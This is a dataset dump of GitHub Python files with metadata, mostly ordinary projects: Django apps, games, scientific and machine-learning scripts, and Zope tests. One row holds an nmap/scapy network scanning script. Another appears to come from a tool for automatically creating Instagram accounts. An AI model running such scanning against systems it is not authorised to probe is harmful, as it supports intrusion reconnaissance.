blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 220
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 257
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
62cee17ddeb7c10ac5f70ed1eb57139892d7c7ca | a16236f9fbe72be1a8566d2067e4e66921a8a90e | /fbpmp/data_processing/attribution_id_combiner/attribution_id_spine_combiner_cpp.py | b6614231fe3d00730513a482b8b7b874faec7f16 | [
"MIT"
] | permissive | peking2/fbpcs-1 | dc9e57afc5bab28f0d43ed537d4147e008f51030 | 234bc748f24046a13fbd14ee7794df5d70ab348b | refs/heads/main | 2023-07-29T22:03:05.983480 | 2021-08-18T23:56:25 | 2021-08-18T23:57:19 | 397,813,444 | 0 | 0 | MIT | 2021-08-19T04:15:22 | 2021-08-19T04:15:22 | null | UTF-8 | Python | false | false | 5,169 | py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import asyncio
import logging
from typing import Optional
from fbpcp.entity.container_instance import ContainerInstanc... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
a024d712549319ead7d5ae7cb1d75ef40cfb79c6 | 72b71a584bc699da188772ae7240d6044d872e86 | /jusik/mypage/jusik/apps.py | 538a595277b415357545c460448a3727ba76648e | [] | no_license | heyoni/DjangoProject | 460e3cc2a7126e5c78bd9bf45791d25c09fc2b31 | a9dffd2d3dd6665984f4729e3eff30167002e6ac | refs/heads/master | 2023-08-29T04:07:42.222331 | 2021-10-13T14:34:18 | 2021-10-13T14:34:18 | 327,337,049 | 0 | 1 | null | 2021-10-06T14:10:49 | 2021-01-06T14:31:25 | Python | UTF-8 | Python | false | false | 85 | py | from django.apps import AppConfig
class JusikConfig(AppConfig):
name = 'jusik'
| [
"hhheyoni@gmail.com"
] | hhheyoni@gmail.com |
c4b3fd6c50a9c062239571170f6518b778e577d4 | fb67e1b98f4170077da0e29617e34317d7d68d53 | /main.py | 4fa1d56aae636f2b2f3181cb77d4674c0efca12c | [] | no_license | HadiGhazali/rock-paper-scissors | 14151f518d0349bb07b4d22d88a2d423165c9553 | 5505a91f27fb448536364aab277f91a4193cf5a2 | refs/heads/main | 2023-02-01T10:04:22.179265 | 2020-12-20T16:12:59 | 2020-12-20T16:12:59 | 318,649,381 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,080 | py | from random import choice
from constants import PLAYER_OPTIONS, PLAY_BUTTON, STATUS
from core import check_win, modify_scores, check_total
scores = {'user': 0, 'system': 0, 'total_user': 0, 'total_system': 0}
play = True
while play:
user_input = input('Enter your choice pleas')
system_input = choice(list(PLAYE... | [
"hadivardanjani1378@gmail.com"
] | hadivardanjani1378@gmail.com |
fad2bafe876e26e6aeabeb0f5e9d3bccfbba8ef8 | 788874e01754f6634b536eeac43552063c105a43 | /functions/decorators.py | 33ac645eff6d1c48a3ed374be3f273ce51a73a4a | [] | no_license | ycli0536/GeoModeling | 1e73508810212bf5c847a73dfe4649bd906e132f | 57197bbde0a472e77144647467fbd7553973a7f6 | refs/heads/master | 2023-06-10T20:28:58.822419 | 2021-06-30T07:04:40 | 2021-06-30T07:04:40 | 368,754,274 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,148 | py | from PyQt5.QtWidgets import QMessageBox
def track_error(func):
def wrapper(self):
try:
func(self)
except Exception as e:
QMessageBox.information(self, 'Test Error', str(e), QMessageBox.Yes)
return wrapper
def track_error_args(func):
def wrapper(self, *args, **kwar... | [
"lyc05366627@gmail.com"
] | lyc05366627@gmail.com |
ee143f1efcc713e6d0ebae48abd8d2f0e560c0ad | cf0c4657fd8198b904932a3c924f3c1f22bddd87 | /setup.py | cf7c2a620b5ed21b92440e9125e1ae9bfc4fad00 | [] | no_license | Coconut-System-Engineer/Create-automatic-akun-instagram | 5e46fd2df6c5a3dcd22058a9e009c972340208bd | 00ec28ffed76428a9db7e05f5ad3e3023897ad87 | refs/heads/master | 2021-03-01T03:16:46.573225 | 2020-03-09T06:21:09 | 2020-03-09T06:21:09 | 245,750,050 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,003 | py | import os
import random
import sys
import time
from time import sleep
os.system('clear')
def mengetik (s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(random.random() * 0.4)
os.system('clear')
sleep(0.1)
print ('Loading...')
sleep(0.1)
me... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
bc0931805ad7e9284f0119c1ac19292c92649d57 | 3624e9f0a026b57ebdafa4e842b93f56e5a8504d | /Codeforces/CodeCraft 2015/Problem H/gen2.py | 46250d91b25f885c1db8bb12d779c6009c0ba217 | [
"MIT"
] | permissive | ailyanlu1/Competitive-Programming-2 | 54109c8644d3ac02715dc4570916b212412c25c0 | 6c990656178fb0cd33354cbe5508164207012f24 | refs/heads/master | 2020-03-23T07:48:20.560283 | 2018-02-15T06:49:49 | 2018-02-15T06:49:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 56 | py | print 10**5,2
n = 10**5
for i in xrange(n):
print n-i,
| [
"adityapaliwal95@gmail.com"
] | adityapaliwal95@gmail.com |
55b924629ae7cc5e7818fa72e34b3189bb0c1917 | 2955e99046b6888ba3203697f1de354ed78f2912 | /src/game_rummy.py | 36862124164a68ee424af146c9fbe4b2f6077caa | [] | no_license | kishansinha181/Rummy-pygame | 9e2f179946f9b5853136102dc1b0e442cf2d7758 | 6db5e71a2512c6a470a2df099a2709ec2d607626 | refs/heads/master | 2022-12-08T06:30:19.304211 | 2020-08-31T04:40:43 | 2020-08-31T04:40:43 | 291,606,089 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,085 | py | import pygame
import os
import random
import sys
import time
from pygame.locals import *
import itertools
pygame.init()
screen = pygame.display.set_mode((1500,750))
play =True
pygame.display.set_caption("RUMMY")
xc=50
y_u=100
y_d=500
x_change=0
y_change=0
z=0
y=0
suits = ["c" , "d" ,... | [
"kishan.sinha18@gmail.com"
] | kishan.sinha18@gmail.com |
2f5c1ccb3a93ecdc0881568dd20c5919318f89e3 | 4e2ad17d96e7ba608735416bb917d8511656c0f4 | /9.4[nice qn].py | bb6d7323b12db81d539dc5528d618c709bd53e11 | [] | no_license | gadia-aayush/Python_for_Informatics-Solutions | 140af49da7c5277b2065a53407af58a7e6459106 | 356155a0ce82194522f2bcd2472ababea7b0d2d8 | refs/heads/master | 2021-09-26T13:38:54.593015 | 2018-10-30T18:14:26 | 2018-10-30T18:14:26 | 111,910,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 726 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Sep 20 21:40:40 2017
@author: aayushgadia
"""
i=0
sender_list=[]
filename=input('Enter a file name: ')
f_in=open(filename)
for line in f_in:
if line.startswith('From '):
word_list=line.split()
sender=word_list[1]
sender_lis... | [
"noreply@github.com"
] | gadia-aayush.noreply@github.com |
37ff219abc5a713483b7f6bfffc7ffcae2e5104d | bbc3ff5dc623774d8cd4e8d8154da353b7523552 | /Lambda_double.py | 11c687a55b041ebac4ec0aece9d8286dd0a4b7b0 | [] | no_license | millanmilu/Learn-Python | e78b562e212fb1854322e726f5663c7f74d3b7f7 | ab5f55a86686d1c7bb5ccbe5201f4186ad8fdbc8 | refs/heads/master | 2020-04-13T20:01:01.892395 | 2019-01-05T14:18:34 | 2019-01-05T14:18:34 | 163,418,697 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 82 | py | def my_fun(n):
return lambda a:a*n
mydouble = my_fun(2)
print(mydouble(11)) | [
"noreply@github.com"
] | millanmilu.noreply@github.com |
b1a5bd0d239833c755f17fd0956b32582769f29b | 08230e7d79e34930a309962e15e9a30323529b52 | /Unconfirmed 440008.crdownload | 17a2b917348cc68b7d866651dfb1babcdeda1a63 | [] | no_license | nathanmeagher/PH30116 | ede5d61012e8708c35db44f08ec92560cc1506b3 | 5fb33a7ad8f3fb47cacd8dbbee7e1a96ed2a5bee | refs/heads/master | 2020-08-10T23:25:38.341909 | 2019-12-19T15:54:25 | 2019-12-19T15:54:25 | 214,443,085 | 1 | 0 | null | 2019-10-11T13:26:58 | 2019-10-11T13:26:58 | null | UTF-8 | Python | false | false | 3,840 | crdownload | #!/usr/bin/env python
"""
Reading in and manipulating fits files
"""
import numpy as np
import pandas as pd
from scipy import optimize
from scipy.interpolate import interpn
def read_exopars(dataframe,par1='a',par2='Mstar',meth='RV'):
M_earth = 5.97
M_jupiter = 1898
method = dataframe[:,1]
filter = '... | [
"nathanm3m@gmail.com"
] | nathanm3m@gmail.com |
aac67577a86224b9db3f14bdf0e54a3151cef1d4 | e7f4d93bf35f496c39cc16b7e33020ff1990881e | /run.py | 84595f396c520561fdbc0b087c3763eba21fa3c8 | [
"MIT"
] | permissive | ajdillhoff/pytorch-mesh-mask | a769bb4865c716ed4c29b4bc82ba28e21325d6f3 | 7f86b2229bce6723666bf4a1494cec79070add32 | refs/heads/master | 2021-06-20T00:26:38.773761 | 2021-02-06T21:09:19 | 2021-02-06T21:09:19 | 181,722,401 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,244 | py | import time
import torch
import src.MeshMask as mm
from src.util import load_mesh_data
def main():
mesh_path = "Sphere.mesh.xml"
image_height = 100
image_width = 100
mesh_vertices, normals, bone_weights, triangles = load_mesh_data(mesh_path)
mesh = torch.tensor(mesh_vertices, dtype=torch.float32... | [
"ajdillhoff@gmail.com"
] | ajdillhoff@gmail.com |
c490e3371dd1c651b02fc45c853857c8af37dff3 | b8bd1ad15a48ad88b1b7c2bff870bf5dc1441b66 | /train/network/QNetWrapper.py | 3060adb16b18a36d9f0cfe0fb2da5542389b35b8 | [] | no_license | Jung-JongHyuk/othelloAI | a718f7a6a9cb92b4a26db16e0ec8aec36c6f88c3 | 8918f4cdb9a3bf5efc9887200a12f4d3e3c4d9ab | refs/heads/master | 2023-07-28T14:15:48.633038 | 2021-09-20T07:38:39 | 2021-09-20T07:38:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,315 | py | import torch
import torch.optim as optim
import numpy as np
import time
import sys
import os
from tqdm import tqdm
from .NeuralNet import NeuralNet
from .QVGGNet import QVGGNet
from .QFCNNet import QFCNNet
from .quantizedLayer import Linear_Q, Conv2d_Q
sys.path.append('../')
from train.utils import *
args = dotdict({
... | [
"system97.solar@gmail.com"
] | system97.solar@gmail.com |
adc11ab3efac0ad1c5eeda997c8b80112d687ef1 | 5600396adac44f47acea8450431ff5a2bd010335 | /tests/asgi.py | 2362e20b7ae57051fb01efdad0f0cbbe91cd5526 | [
"Apache-2.0"
] | permissive | grantjenks/django-dblog | 83ee2aea496f46983a6850bca4b5a43e6abf2578 | c064b8018b4221ee7d6260cf6430b7cfa8dccee8 | refs/heads/main | 2023-08-27T23:03:22.351497 | 2022-03-12T21:25:37 | 2022-03-12T21:25:37 | 165,946,756 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 387 | py | """
ASGI config for tests project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTING... | [
"grant.jenks@gmail.com"
] | grant.jenks@gmail.com |
464ebf186e3319a72253e12fa4a37890c21aa4a0 | 06a2dab18197a13fc3371debd29b476ae99cb01c | /T3/inputs/dnn2017.py | 3c0661637347e70ff855197b207c33c81ac06421 | [
"LicenseRef-scancode-warranty-disclaimer",
"MIT"
] | permissive | PandaPhysics/PandaAnalysis | 397a031f9e8d399be1814ab04dd525d69b41f060 | 3167d106d41dfce58219c3e07d30e201ee823b55 | refs/heads/master | 2021-06-18T13:52:57.650900 | 2019-04-08T17:35:29 | 2019-04-08T17:35:29 | 168,376,672 | 0 | 0 | NOASSERTION | 2019-04-08T17:33:55 | 2019-01-30T16:34:09 | C++ | UTF-8 | Python | false | false | 2,252 | py | #!/usr/bin/env python
from re import sub
from sys import argv,exit
from os import system,getenv,path
from time import clock,time
import json
which = int(argv[1])
submit_id = int(argv[2])
sname = argv[0]
argv=[]
import ROOT as root
from PandaCore.Tools.Misc import *
from PandaCore.Utils.load import *
import PandaCore... | [
"sidn@mit.edu"
] | sidn@mit.edu |
373036442caf5434eca6150ae45a796bba5f9009 | d8ffe7b6613d84835e2b7f9a2984dd78770e1885 | /opensupply/views/requisition.py | e11b7474f257b9f58c374b8a82e8420ed29c174d | [] | no_license | etoko/opensupply | 248cfb58c0b745df48272f2b705774c6a73c546b | 04d674cc57c2f20b0b87f51c1a85c8a98b05055a | refs/heads/master | 2020-04-05T12:34:42.770428 | 2017-08-01T04:25:13 | 2017-08-01T04:25:13 | 95,153,257 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,247 | py |
import json
from datetime import datetime
import transaction
from pyramid.httpexceptions import (
exception_response,
HTTPFound,
HTTPNotFound,
HTTPForbidden,
... | [
"emmanuel.toko@gmail.com"
] | emmanuel.toko@gmail.com |
a8bf5034a92d0e71d35bafc0166787ac78929292 | 98d7cc2690c8d632a2a8d8867c0d6b2dfab2f13f | /code_featureEngineer/demo0226_logVolDic_discrete01location_missingValue_xgboost_differentFea.py~ | e99a70652af3459398ad05ce2bcfa95483c20b6f | [] | no_license | 2877992943/telstra_binary_classification | f55b6d418486881193f0f3b3eca32d0de710a08a | f3d6fe2e25cd7539c30dbdcd617e2513b2678cce | refs/heads/master | 2021-01-01T05:14:31.284945 | 2016-05-13T02:21:10 | 2016-05-13T02:21:10 | 58,692,217 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,875 | #!/usr/bin/env python
# encoding=utf-8
"""
discrete fea count
"""
import pandas as pd
import numpy as np
import xgboost as xgb
from scipy.optimize import fmin_powell
from ml_metrics import quadratic_weighted_kappa
import cPickle
import pylab as plt
dataPath='/home/yr/telstra/'
def eval_wrapper(yhat, y): #pred ... | [
"2877992943@qq.com"
] | 2877992943@qq.com | |
06984e0cbe94716702eec1079b12b6cd613a7a7b | e1906617108e9026e7db30ca84fa6d2100b7286b | /Semana 1/Temperatura F° to C°.py | 2d9bc9f6b5b6f39f8947735f57a2e81fc5d0bc61 | [] | no_license | accuLucca/Curso-Introducao-a-Ciencia-da-Computacao-com-Python-Parte-1 | 96d9017c038217c3e8d8c7488eb29b7194fa9da3 | fe67deb98c04b7b102a5b3dcda2abb2c45a99d82 | refs/heads/main | 2023-03-19T19:36:29.191911 | 2021-03-23T14:08:09 | 2021-03-23T14:08:09 | 344,171,997 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 188 | py | temperaturaFahrenheit=input("Insira uma temperatura em Fahrenheit")
temperaturaCelsius =(float(temperaturaFahrenheit)-32)* 5/ 9
print("Temperatura em Celsius:",float(temperaturaCelsius)) | [
"43175678+accuLucca@users.noreply.github.com"
] | 43175678+accuLucca@users.noreply.github.com |
314fe3ea19cb86cb5f90d1f8c202393b1bd22ebe | 264d1409febf9d58258c397e8586551776e513e5 | /Scanner.py | 44992aae24ed157010ae0a61f07c47d6b577d41d | [] | no_license | ParkerFrame/Scripts | 9a0fa9a07ac6b893777c023761d6d855d033c328 | 4fd5ac32c53bb7cdd2368020187d468fd64eedab | refs/heads/master | 2020-12-31T22:27:23.264642 | 2020-02-08T02:02:59 | 2020-02-08T02:02:59 | 239,054,512 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,747 | py | #!/usr/bin/python3
"""
Name: Parker Frame
Date: 2/7/2020
Description: This tool is used for some basic level scanning bu utlizing scapy and nmap python libraries. """
#imported the nmap library
import nmap
import time
from scapy.all import *
import fpdf
#store scanner tool, nmap version, tgt
scanner = n... | [
"noreply@github.com"
] | ParkerFrame.noreply@github.com |
040c7763b82c832690147723dcb4b6f6e0d1c040 | d3c1bdc53ac82f95af085b3890b63a18fd540e38 | /source/elements/oneDAL/dalapi/generator.py | 6a40026e08ef151f9bae309647aad821e401ce72 | [
"MIT",
"CC-BY-4.0"
] | permissive | aregm/oneAPI-spec | be6f30160cc61c4ca21b100ea70578eecf53e6d3 | 20f1275eef1f43271b917c9ac28173957992efab | refs/heads/master | 2022-11-06T10:12:21.589511 | 2020-06-17T05:47:37 | 2020-06-17T05:47:37 | 274,459,461 | 0 | 0 | NOASSERTION | 2020-06-23T16:46:21 | 2020-06-23T16:46:21 | null | UTF-8 | Python | false | false | 2,376 | py | from typing import (List, Text)
from docutils.statemachine import ViewList
class RstBuilder(object):
def __init__(self, placeholder: ViewList, filename: Text, lineno: int):
self._rst_list = placeholder
self._filename = filename
self._lineno = lineno
def add_class(self, kind: str, decla... | [
"noreply@github.com"
] | aregm.noreply@github.com |
c97f23f45979a8283906bf4d5620a0ee5ddcdaea | 9a17e586d52a5be6f0c5843b04b7a51fe2be3b03 | /Kheya/settings.py | 8ad4cc150cd337bb096b4997cb77d30727609dff | [] | no_license | ARYASTARK-13/KHEYAforCovid | 6a0ffd9461411da8ff7199cc4e1bde70f5e18470 | 6f33ea7fd53aa2373444a7b3e1c6b2beeebcb9e4 | refs/heads/main | 2023-07-31T16:50:38.235520 | 2021-09-15T07:42:04 | 2021-09-15T07:42:04 | 406,656,479 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,744 | py | """
Django settings for Kheya project.
Generated by 'django-admin startproject' using Django 3.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib imp... | [
"anirbanbiswas19999@gmail.com"
] | anirbanbiswas19999@gmail.com |
a1d4f595354a0c572ca7b1aa0b4325eaf227c9ce | ec21d4397a1939ac140c22eca12491c258ed6a92 | /Zope-2.9/lib/python/DocumentTemplate/tests/testDTML.py | 13621444b23ae590a45dfe79a7efeb236d8bd539 | [] | no_license | wpjunior/proled | dc9120eaa6067821c983b67836026602bbb3a211 | 1c81471295a831b0970085c44e66172a63c3a2b0 | refs/heads/master | 2016-08-08T11:59:09.748402 | 2012-04-17T07:37:43 | 2012-04-17T07:37:43 | 3,573,786 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 19,417 | py | ##############################################################################
#
# Copyright (c) 2002 Zope Corporation and Contributors. All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFT... | [
"root@cpro5106.publiccloud.com.br"
] | root@cpro5106.publiccloud.com.br |
c23ddb3931f40fcabc701c9e3b5cb986269f8faa | 95e057a729db6480e6769d5aa0bfa0775fa35b9f | /run.py | ced8e2b08a1271848924c9a7dc7e4762b260a688 | [
"BSD-2-Clause"
] | permissive | jinbow/swotsimulator | 755594716a5c5f8619f22f1bd2640dc08500aa80 | 20a3330ee8b0c64ccd26818163fb9adc75b1e37e | refs/heads/master | 2020-12-25T02:40:20.763294 | 2016-06-22T14:53:31 | 2016-06-22T14:53:31 | 62,241,313 | 0 | 1 | null | 2016-06-29T16:30:59 | 2016-06-29T16:30:59 | null | UTF-8 | Python | false | false | 563 | py | import sys, os
import shutil
if (len(sys.argv) < 2):
file_param=os.getcwd()+os.sep+'example'+os.sep+'params_example.txt'
print("no params file specified, default is " +file_param)
else:
file_param=str(sys.argv[1])
if os.path.isfile(file_param):
# basedir=os.path.dirname(swotsimulator.__file__)
... | [
"Jinbo.Wang@jpl.nasa.gov"
] | Jinbo.Wang@jpl.nasa.gov |
7909a2ccc6b0bc5bc30e9ba5b59516477b25dac6 | e3be8552aff4dbcf71e5aa165f254fd094bc048c | /examples/adspygoogle/dfp/v201311/contact_service/update_contacts.py | 3495d6abe75be43d79443f2d6930be8b07a16254 | [
"Apache-2.0"
] | permissive | caioserra/apiAdwords | cd1317f05e26edf5cad2faff40c43df96405e715 | 2419b22b1fb7a03cf98355b5793f816319e1e654 | refs/heads/master | 2020-05-05T03:37:16.605798 | 2014-02-03T17:09:39 | 2014-02-03T17:09:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,104 | py | #!/usr/bin/python
#
# Copyright 2013 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | [
"cvserra@gmail.com"
] | cvserra@gmail.com |
1fa3f2cd18faf6841eb0271edd0c907f0dd886a9 | 11015fa254cf01b7f1958885f09e978d14ed2b6f | /pages/tests/documents/urls.py | 993b8117a8dc5617b2478c5f9836b44e31ee431c | [
"BSD-3-Clause"
] | permissive | af/django-page-cms | f68ac0f818a8a7040e5f02fc6c3211e44ad6e77a | 0f1ac577e8d2cc86f14ea08c24128220f1a6b534 | refs/heads/master | 2021-01-16T01:02:42.940361 | 2010-03-16T12:13:52 | 2010-03-16T12:13:52 | 565,590 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 344 | py | from django.conf.urls.defaults import *
from django.conf import settings
from pages.tests.documents.views import document_view
from pages.http import pages_view
urlpatterns = patterns('',
url(r'(?P<document_id>[0-9]+)$', pages_view(document_view), name='document_details'),
url(r'$', pages_view(document_view), ... | [
"batisteb@opera.com"
] | batisteb@opera.com |
02f22fe5f02b8df2182114217e0c398ecfda644f | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_buyout.py | 5ef4f182702e4982179b22670203e03692b7d3ff | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 403 | py |
#calss header
class _BUYOUT():
def __init__(self,):
self.name = "BUYOUT"
self.definitions = [u'(in business) a situation in which a person or group buys all the shares belonging to a company and so gets control of it: ']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
se... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
07be2c5f5083ce7d52cb8a81a163a27b1d3f0f02 | fed53a83f014dedd79258ea16c2ec0ffffb522a6 | /src/restfw/tests/test_add_sub_resource_fabric.py | 7c1cb27ebc106b175a04a152e7e5f90f9b8031c2 | [
"MIT"
] | permissive | Cykooz/restfw | a995813c9d4bbd20aa3079ab8192c3d2ba2410d0 | 91951f5e095eaac4ec66ae1d7fe95cc5f6e773d5 | refs/heads/master | 2023-01-23T11:30:11.769448 | 2023-01-10T07:32:15 | 2023-01-10T07:32:15 | 114,084,829 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,879 | py | # -*- coding: utf-8 -*-
"""
:Authors: cykooz
:Date: 23.11.2018
"""
import pytest
from cykooz.testing import D
from pyramid.traversal import find_interface
from ..hal import HalResource, SimpleContainer
from ..views import HalResourceWithEmbeddedView, list_to_embedded_resources, resource_view_config
class DummyApiVer... | [
"cykooz@gmail.com"
] | cykooz@gmail.com |
edbe5ce081920cf505f9f1ee7665c0fd7b1d8f57 | 9f2a9434453857f259a9cd3087b5bf3cb85c198a | /start.py | 4afd203d1d2e581953d4a84d25cea2fa631df33d | [] | no_license | duke-thurinus/Spoopy-Game-Jam | 6cb4cd3cb7aceccd74ea44493de58dcc097ef989 | 2ce2a0fdb7a4c4b9e394cd9b761dca6dfe5ebaf2 | refs/heads/master | 2021-07-23T00:13:26.480694 | 2017-11-02T16:03:45 | 2017-11-02T16:03:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,546 | py | from random import randint
def initilize():
#navigation between systems
galaxy = { "sol" : ["eta helion", "agromega", "pi abbidon"]
,"eta helion" : ["agromega", "sol"]
,"agromega" : ["eta helion", "euridian", "sol"]
,"pi abbidon" : ["sol", "devolin"]
... | [
"henry.balch1@marist.edu"
] | henry.balch1@marist.edu |
fec9542a490d26aa855dab0e2d6f204c0a65f190 | 55628a9a08a6b6646b4a8aa74bedbf2e3fd7d850 | /.history/master_20200126005041.py | 0cf75bdb067cd902873d4068cf323f8de7ac42e3 | [] | no_license | StRobertCHSCS/final-project-team | c115dc11b318f7ac782c94860a8801bb558bd107 | 48907e72813c4dd3b48ff36f794f6fce04533219 | refs/heads/master | 2020-12-03T22:35:37.833893 | 2020-01-31T04:05:38 | 2020-01-31T04:05:38 | 231,506,873 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,880 | py | '''
-**make snake longer when eaten
- FIGURE OUT HOW TO KNOW WHERE TO ADD THE NEXT BLOCK (MOVE LAST LOCATION TO BACK)
DONEEE
-fix player_location lists, so that the list only has the location of the current snake location, not infinite list (done)
- fix apple so disappers when you go over it (done)
- add score ... | [
"clementina1023@gmail.com"
] | clementina1023@gmail.com |
6f70c7b6c6841e708ef6c51dfadab270faf0d971 | aa20bb8383b81c7c644223f058a8438c006cad01 | /tests/utils.py | cedce72e6e5e7cf8f5955984e29b347ace7bcb22 | [
"MIT"
] | permissive | espenfl/parsevasp | 309f221114be8d330ee8596fa13e4bd7506f6550 | 5f7ced76172fee30a51ca4f08c36beefc72b0a61 | refs/heads/master | 2023-07-09T12:32:34.579858 | 2023-06-05T13:13:47 | 2023-06-05T13:13:47 | 219,450,686 | 0 | 0 | MIT | 2019-11-04T08:19:44 | 2019-11-04T08:19:44 | null | UTF-8 | Python | false | false | 116 | py | def isclose(a, b, rel_tol=1e-07, abs_tol=0.0):
return abs(a - b) <= max(rel_tol * max(abs(a), abs(b)), abs_tol)
| [
"espen.flage-larsen@sintef.no"
] | espen.flage-larsen@sintef.no |
d69de5a1d4c99f7f6e96fba9499c7fc95016b677 | 0f23caca0ae990204483f9de9f964510703f5f40 | /0004.py | 5795aa73bd9e8bd8fe9200cb576270ee03264014 | [] | no_license | moniq/Euler-project-python3 | df2bdabfb9296ce7b326560c8e44776d5140f24f | e22d6ab468a8afd190cbc04a711d3e96db181b1f | refs/heads/master | 2020-12-30T15:54:01.167722 | 2017-05-13T18:25:37 | 2017-05-13T18:25:37 | 91,178,214 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 769 | py | #=====================================
# PALINDROMIC NUMBER e.g. 9009, 90109
# https://projecteuler.net/problem=4
#=====================================
import profile
def is_palindromic(number):
# if number < 0 or has only one digit is not palindromic
if number-10 <= 0:
return False
st = str(numb... | [
"noreply@github.com"
] | moniq.noreply@github.com |
fde24b5da2b2023a46881ed67ec027af679a60ca | 30173549f50d117d1e4341032b16109ded9b91cb | /mdb_app/urls.py | eb555bc2c46f3b416d588119a4a711ed7b09fdae | [] | no_license | shubham001shubham/shubham_rest_api_moive | 01c17190fdc41733027959703acfbd524bd6be59 | 4cce31a103f53e9dc8425711779ba209c712d659 | refs/heads/master | 2020-05-22T18:31:56.095150 | 2019-05-13T18:21:12 | 2019-05-13T18:21:12 | 186,473,803 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 642 | py | from django.urls import path
from .views import ( MovieCreate, MovieList,
UserCreate, LoginView,ChoiceListMovie, Temp , SnippetDetail)
urlpatterns = [
path('api/movie_create/', MovieCreate.as_view(),name='movie_create'),
path('api/list/',MovieList.as_view(),name='movie_list'),
path('api/users/',UserCre... | [
"pragtism@gmail.com"
] | pragtism@gmail.com |
7e862eae0d9148a1e0b88084c5981c3280296cc4 | 53b1cf89f3ac00d86add6dc6e103160d50e1b4ea | /pgadmin/pgadmin4/web/pgadmin/browser/server_groups/servers/tests/test_server_get.py | 338f7fcfb45c96ee37238b621d1a4a0c92353062 | [
"PostgreSQL"
] | permissive | luvres/armhf | b5e9e59c0e5db7f4a280242a0d940c4066a47716 | aa1ec48e246f1fb8e0f4099fa8d392eddcb414ad | refs/heads/master | 2021-10-01T19:08:53.395884 | 2018-11-28T17:57:42 | 2018-11-28T17:57:42 | 79,672,248 | 10 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,629 | py | # ##########################################################################
#
# #pgAdmin 4 - PostgreSQL Tools
#
# #Copyright (C) 2013 - 2016, The pgAdmin Development Team
# #This software is released under the PostgreSQL Licence
#
# ##########################################################################
from pgadm... | [
"luvres@hotmail.com"
] | luvres@hotmail.com |
6f4e4ade8178b4098daa3d93d71ad257cfd16109 | 0105f25282de5979dc5479a8b1032eaaa28f9cd3 | /main/migrations/0001_initial.py | ff2bb9fed80d12415b6066ec5a309d66302e1724 | [] | no_license | archi-max/ATM | 88460a4a883e855196287f57ca20b6b20f6e3205 | 33226da37fc624a7c7e48370239bc0473e6099bb | refs/heads/master | 2023-03-28T02:18:19.523299 | 2021-03-24T18:53:08 | 2021-03-24T18:53:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 668 | py | # Generated by Django 3.1.7 on 2021-03-23 02:30
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
